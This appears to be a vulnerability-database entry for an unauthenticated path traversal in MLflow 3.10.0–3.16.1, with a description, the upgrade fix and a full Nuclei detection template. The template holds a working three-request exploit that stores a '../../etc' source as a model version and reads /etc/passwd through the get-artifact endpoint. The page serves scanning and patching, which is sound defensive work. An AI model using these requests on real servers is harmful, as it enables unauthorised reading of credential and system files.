Browse / CVEs / CVE-2026-116690
CVE-2026-116690· mlflow / mlflow· CWE-22
MLflow 3.10.0-3.16.1 - Arbitrary File Read
MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.
Impact
Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
Fix
Upgrade to version 3.17.0 or later.
How to confirm it
Send: POST /api/2.0/mlflow/registered-models/create
Positive when: status_code == 200 and contains(body, "registered_model")
Send: POST /api/2.0/mlflow/model-versions/create
Positive when: status_code == 200 and contains(body, "model_version")
Send: GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2026-116690 -u <target>
The full check
id: CVE-2026-116690
info:
name: MLflow 3.10.0-3.16.1 - Arbitrary File Read
author: ashish-cybersec
severity: high
description: |
MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.
impact: |
Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
remediation: |
Upgrade to version 3.17.0 or later.
reference:
- https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33
- https://github.com/mlflow/mlflow/pull/25870
- https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772
- https://nvd.nist.gov/vuln/detail/CVE-2026-116690
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-116690
epss-score: 0.01801
epss-percentile: 0.78684
cwe-id: CWE-22
metadata:
max-request: 3
verified: true
vendor: mlflow
product: mlflow
shodan-query: http.title:"MLflow"
tags: cve,cve2026,mlflow,lfi,vkev
variables:
model: "{{to_lower(rand_base(10))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}"}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(body, "registered_model")'
condition: and
internal: true
- raw:
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"../../../../../../../../etc","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(body, "model_version")'
condition: and
internal: true
- raw:
- |
GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33
- https://github.com/mlflow/mlflow/pull/25870
- https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772
- https://nvd.nist.gov/vuln/detail/CVE-2026-116690
Use this check only on systems you are authorised to test. Where the data comes from